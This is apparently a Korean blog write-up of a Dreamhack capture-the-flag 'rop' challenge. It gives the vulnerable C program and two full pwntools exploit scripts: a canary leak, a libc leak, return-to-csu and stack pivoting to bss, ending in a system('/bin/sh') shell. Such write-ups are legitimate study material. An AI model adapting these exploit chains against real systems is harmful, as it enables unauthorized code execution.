Recent Posts
Recent Comments
Link
«   2024/12   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

CIDY

[System_Hacking] 문제풀이_rop(RTC, stack pivoting 이용한 풀이) 본문

Hack/DreamHack(로드맵)

[System_Hacking] 문제풀이_rop(RTC, stack pivoting 이용한 풀이)

CIDY 2022. 7. 4. 04:38

rop를 하다보니 풀이가 정말 다양하게 나올 수 있다는걸 느꼈다... 이때까지 배운 방법들로 rop를 다양하게 풀어보겠다.

got overwrite 및 libc leak을 이용한 3가지 풀이 방법은 아래 링크에 있다. ↓

https://orcinus-orca.tistory.com/35

[System_Hacking] stage7_문제풀이(Return Oriented Programming)

간단한 문젠데 이것저것 하다보니 풀이를 3개나 써버렸다ㅋㅋ다들 비슷비슷한 인자세팅이긴 함. // Name: rop.c // Compile: gcc -o rop rop.c -fno-PIE -no-pie // 64-bit, canary, nx, partial relro #include #..

orcinus-orca.tistory.com



오늘은 stack pivoting이랑 RTC를 이용해서 이 문제를 풀어볼거다.

// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie
// 64-bit, canary, nx, partial relro

#include <stdio.h>
#include <unistd.h>

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Leak canary
  puts("[1] Leak Canary");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Do ROP
  puts("[2] Input ROP payload");
  printf("Buf: ");
  read(0, buf, 0x100);

  return 0;
}


일단 카나리 릭 먼저 해주고 + 립시릭까지 한 다음에 csu init으로 가서 read 인자 세팅해서 got overwrite해줄 계획이다.

립시릭을 csu로 뛰기 전에 해주는 이유는 RTC를 쓰려면 스택공간이 좀 많이 필요한 편인데 문제에서 준 공간이 그리 넉넉지 않아서이다. (실제로 풀이 다 쓰니까 8바이트밖에 여유가 없었다ㅠ)


풀이 4 : (앞에 링크에서 풀이 3개 해서 4번이라고 할거임ㅎㅎ)

from pwn import *

p = process("./rop")
e = ELF("./rop")
libc = e.libc

pop_rdi = 0x4007f3
pop_rsi_r15 = 0x4007f1
ret = 0x40055e

bss = 0x601050

csu1 = 0x4007D0
csu2 = 0x4007E6

p.recvuntil(b"Buf: ")
p.send(b"A" * 0x39)
p.recvuntil(b"Buf: ")
p.recvn(0x39)

canary = u64(p.recvn(7).rjust(8, b"\x00"))
print(hex(canary))

pay = b"A" * 0x30
pay += b"B" * 0x8
pay += p64(canary)
pay += b"C" * 0x8

pay += p64(pop_rdi)
pay += p64(e.got['read'])
pay += p64(e.plt['puts'])
pay += p64(csu2)

pay += b"D" * 0x8
pay += p64(0)
pay += p64(1)
pay += p64(e.got['read'])
pay += p64(0)
pay += p64(e.got['read'])
pay += p64(16)
pay += p64(csu1)

pay += b"E" * 0x8
pay += p64(0)
pay += p64(1)
pay += p64(e.got['read'])
pay += p64(e.got['read'] + 0x8)
pay += p64(0)
pay += p64(0)
pay += p64(csu1)
pause()
p.send(pay)

read = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
libc_base = read - libc.symbols['read']
print(hex(libc_base))
system = libc_base + libc.symbols['system']

p.send(p64(system)+b"/bin/sh\x00")

p.interactive()
```


그렇게 나온 익스코드. RTC + got overwirte를 해준건데, 사실 이 풀이는 성공은 못 했다. 디버깅해보니까 진짜 인자세팅 완벽하고 마지막에 system호출까지 잘 됐는데 왜 성공 못한건지 의문이다...

그래서 got overwite말고 stack pivoting을 해주기로 했다.


풀이 5 :

from pwn import *

p = process("./rop")
e = ELF("./rop")
libc = e.libc

pop_rdi = 0x4007f3
pop_rsi_r15 = 0x4007f1
ret = 0x40055e

bss = 0x601050 + 0x800
leave_ret = 0x400787

csu1 = 0x4007D0
csu2 = 0x4007E6

p.recvuntil(b"Buf: ")
p.send(b"A" * 0x39)
p.recvuntil(b"Buf: ")
p.recvn(0x39)

canary = u64(p.recvn(7).rjust(8, b"\x00"))
print(hex(canary))

pay = b"A" * 0x30
pay += b"B" * 0x8
pay += p64(canary)
pay += b"C" * 0x8

pay += p64(pop_rdi)
pay += p64(e.got['read'])
pay += p64(e.plt['puts'])
pay += p64(csu2)

pay += b"D" * 0x8
pay += p64(0)
pay += p64(1)
pay += p64(e.got['read'])
pay += p64(0)
pay += p64(bss)
pay += p64(0x200)
pay += p64(csu1)

pay += b"E" * 0x10
pay += p64(bss)
pay += b"F" * 0x20
pay += p64(leave_ret)

p.send(pay)

read = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
libc_base = read - libc.symbols['read']
print(hex(libc_base))
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b"/bin/sh\x00"))

pay = b"A" * 0x8
pay += p64(pop_rdi)
pay += p64(binsh)
pay += p64(ret)
pay += p64(system)
p.send(pay)

p.interactive()


RTC + stack pivoting이다. 이 풀이는 성공함 ㅎㅎ 그냥 leave ret가젯 써주고 (약간 신기했던 건 디버깅해보니까 leave ret가젯이 main의 코드조각이었음 ㅋㅋㅋ) pivoting해줬다. 물론 bss썼다.

+pivoting을 연속적으로 해줄 게 아니니까 bss에서 pop rbp할때 rbp는 이제 어디로 튀어도 상관없으므로 아무 값이나 넣어줬다.

어차피 플래그는 땄으니 걍 로컬에서 했다.